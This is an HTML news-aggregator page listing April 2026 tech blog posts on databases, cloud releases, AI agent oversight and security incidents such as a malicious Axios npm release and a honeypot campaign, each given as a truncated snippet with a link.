<h3 id="h3-how-to-test-reduce-time-to-first-byte-ttfb" class="group relative scroll-mt-24">
        <a href="#h3-how-to-test-reduce-time-to-first-byte-ttfb" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to test & reduce Time to First Byte (TTFB)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-test-reduce-time-to-first-byte-ttfb"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If your pages feel sluggish, Time to First Byte (TTFB) is often where to look first. TTFB measures how long the browser waits before the server sends anything back. That wait sits at the front of the </p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/time-to-first-byte-test/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-human-in-the-loop-why-your-production-ai-systems-need-human-oversight" class="group relative scroll-mt-24">
        <a href="#h3-human-in-the-loop-why-your-production-ai-systems-need-human-oversight" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Human in the loop: Why your production AI systems need human oversight
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-human-in-the-loop-why-your-production-ai-systems-need-human-oversight"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Your AI agent can make tool calls, chain tools, and execute tasks independently. It can also hallucinate a policy that doesn&#39;t exist, execute a destructive SQL query that deletes production data, or c</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/ai-human-in-the-loop/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-client-side-geographic-failover-for-redis-active-active" class="group relative scroll-mt-24">
        <a href="#h3-client-side-geographic-failover-for-redis-active-active" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Client-side geographic failover for Redis Active-Active
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-client-side-geographic-failover-for-redis-active-active"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Redis Active-Active architecture supports geographically distributed applications, providing real-time performance when apps are co-located with an Active-Active database member and ensuring stron</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/client-side-geographic-failover-for-redis-active-active/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-shrinking-the-search-introducing-scylladb-vector-quantization" class="group relative scroll-mt-24">
        <a href="#h3-shrinking-the-search-introducing-scylladb-vector-quantization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Shrinking the Search: Introducing ScyllaDB Vector Quantization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-shrinking-the-search-introducing-scylladb-vector-quantization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how ScyllaDB Vector Quantization shrinks your vector index memory by up to 30x for cost-efficient, real-time AI applications</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/22/scylladb-vector-quantization/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-retail-at-scale-exposes-data-architecture-limitations" class="group relative scroll-mt-24">
        <a href="#h3-how-retail-at-scale-exposes-data-architecture-limitations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Retail at Scale Exposes Data Architecture Limitations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-retail-at-scale-exposes-data-architecture-limitations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Retail and e-commerce platforms are among the most demanding distributed systems in production. Learn why traditional retail and e-commerce database architecture fails at scale and how a distributed d</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 Yugabyte Blog</strong></p>
<p><a href="https://www.yugabyte.com/blog/retail-at-scale-exposes-data-architecture-limitations/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 Apr 27, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 Apr 27, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 Apr 27, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-transform-custom-enterprise-code-modernization-with-the-learn-scale-improve-flywheel" class="group relative scroll-mt-24">
        <a href="#h3-aws-transform-custom-enterprise-code-modernization-with-the-learn-scale-improve-flywheel" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Transform custom: Enterprise Code Modernization with the Learn-Scale-Improve Flywheel
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-transform-custom-enterprise-code-modernization-with-the-learn-scale-improve-flywheel"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Enterprise modernization has reached an inflection point. You can transform one repository easily. Existing tools, including AWS Transform custom, work well for individual repositories, and the proces</p>
<p><strong>📅 Apr 27, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/aws-transform-custom-enterprise-code-modernization-with-the-learn-scale-improve-flywheel/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-one-slack-message-that-proved-our-elite-engineering-team-was-flying-blind" class="group relative scroll-mt-24">
        <a href="#h3-the-one-slack-message-that-proved-our-elite-engineering-team-was-flying-blind" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The one Slack message that proved our elite engineering team was flying blind
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-one-slack-message-that-proved-our-elite-engineering-team-was-flying-blind"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Someone posted a question in Slack that seemed straightforward: What are we actually running across both cloud environments? Not what The post The one Slack message that proved our elite engineering t</p>
<p><strong>📅 Apr 26, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/multi-cloud-blind-spots/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-lambda-provisioned-mode-for-kafka-event-source-mappings-esms-now-available-in-aws-asia-pacific-taipei-and-aws-govcloud-us-regions" class="group relative scroll-mt-24">
        <a href="#h3-aws-lambda-provisioned-mode-for-kafka-event-source-mappings-esms-now-available-in-aws-asia-pacific-taipei-and-aws-govcloud-us-regions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Lambda Provisioned Mode for Kafka event source mappings (ESMs) now available in AWS Asia Pacific (Taipei) and AWS GovCloud (US) Regions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-lambda-provisioned-mode-for-kafka-event-source-mappings-esms-now-available-in-aws-asia-pacific-taipei-and-aws-govcloud-us-regions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS Lambda now supports Provisioned Mode for event source mappings (ESMs) that subscribe to Apache Kafka event sources in the Asia Pacific (Taipei), AWS GovCloud (US-East), and AWS GovCloud (US-West) </p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/aws-Lambda-provisioned-esm-region-expansion/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-quick-now-integrates-with-visiers-vee-agent-for-workforce-intelligence" class="group relative scroll-mt-24">
        <a href="#h3-amazon-quick-now-integrates-with-visiers-vee-agent-for-workforce-intelligence" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Quick now integrates with Visier’s Vee agent for workforce intelligence
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-quick-now-integrates-with-visiers-vee-agent-for-workforce-intelligence"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Quick now integrates with Vee, the AI assistant from Visier&#39;s people analytics platform, through the model context protocol (MCP). HR business partners, finance managers, and operations leaders</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/amazon-quick-visier-vee/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-bedrock-agentcore-gateway-and-identity-support-vpc-egress" class="group relative scroll-mt-24">
        <a href="#h3-amazon-bedrock-agentcore-gateway-and-identity-support-vpc-egress" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Bedrock AgentCore Gateway and Identity support VPC egress
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-bedrock-agentcore-gateway-and-identity-support-vpc-egress"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Bedrock AgentCore Gateway and Identity now provide secure and controlled egress traffic management for your applications, enabling seamless communication with resources in your Virtual Private </p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2024/04/agentcore-gateway-identity-vpc/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-260-things-we-announced-at-google-cloud-next-26-a-recap" class="group relative scroll-mt-24">
        <a href="#h3-260-things-we-announced-at-google-cloud-next-26-a-recap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 260 things we announced at Google Cloud Next '26 – a recap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-260-things-we-announced-at-google-cloud-next-26-a-recap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Google Cloud Next ‘26 took place this week in Las Vegas, and the energy was incredible as we welcomed over 32,000 leaders, developers, and partners to explore the Agentic Era with us. Across three key</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/google-cloud-next/google-cloud-next-2026-wrap-up/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-ec2-high-memory-u7i-instances-now-available-in-additional-regions" class="group relative scroll-mt-24">
        <a href="#h3-amazon-ec2-high-memory-u7i-instances-now-available-in-additional-regions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon EC2 High Memory U7i instances now available in additional regions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-ec2-high-memory-u7i-instances-now-available-in-additional-regions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon EC2 High Memory U7i-8TB instances (u7i-8tb.112xlarge) are now available in AWS Europe (Stockholm, Zurich) regions, U7in-16TB instances (u7in-16tb.224xlarge) are now available in the AWS US East</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/amazon-ec2-high-memory-u7i/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-with-google-cloud" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-with-google-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new with Google Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-with-google-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/inside-google-cloud/whats-new-google-cloud/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-axios-npm-supply-chain-compromise-guidance-for-azure-pipelines-customers" class="group relative scroll-mt-24">
        <a href="#h3-axios-npm-supply-chain-compromise-guidance-for-azure-pipelines-customers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Axios npm Supply Chain Compromise – Guidance for Azure Pipelines Customers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-axios-npm-supply-chain-compromise-guidance-for-azure-pipelines-customers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On March 31, 2026, malicious versions of the widely used JavaScript HTTP client library Axios were briefly published to the npm registry as part of a supply chain attack. The affected versions — 1.14.</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 Azure DevOps Blog</strong></p>
<p><a href="https://devblogs.microsoft.com/devops/axios-npm-supply-chain-compromise-guidance-for-azure-pipelines-customers/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1118" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1118" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.118
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1118"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.118 (Insiders) Read the full article</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_118"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-understanding-disaggregated-genai-model-serving-with-llm-d" class="group relative scroll-mt-24">
        <a href="#h3-understanding-disaggregated-genai-model-serving-with-llm-d" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Understanding disaggregated GenAI model serving with llm-d
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-understanding-disaggregated-genai-model-serving-with-llm-d"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>What is llm-d? llm-d is an open source solution for managing high-scale, high-performance Large Language Model (LLM) deployments. LLMs are at the heart of generative AI – so when you chat with ChatGPT</p>
<p><strong>📅 Apr 27, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
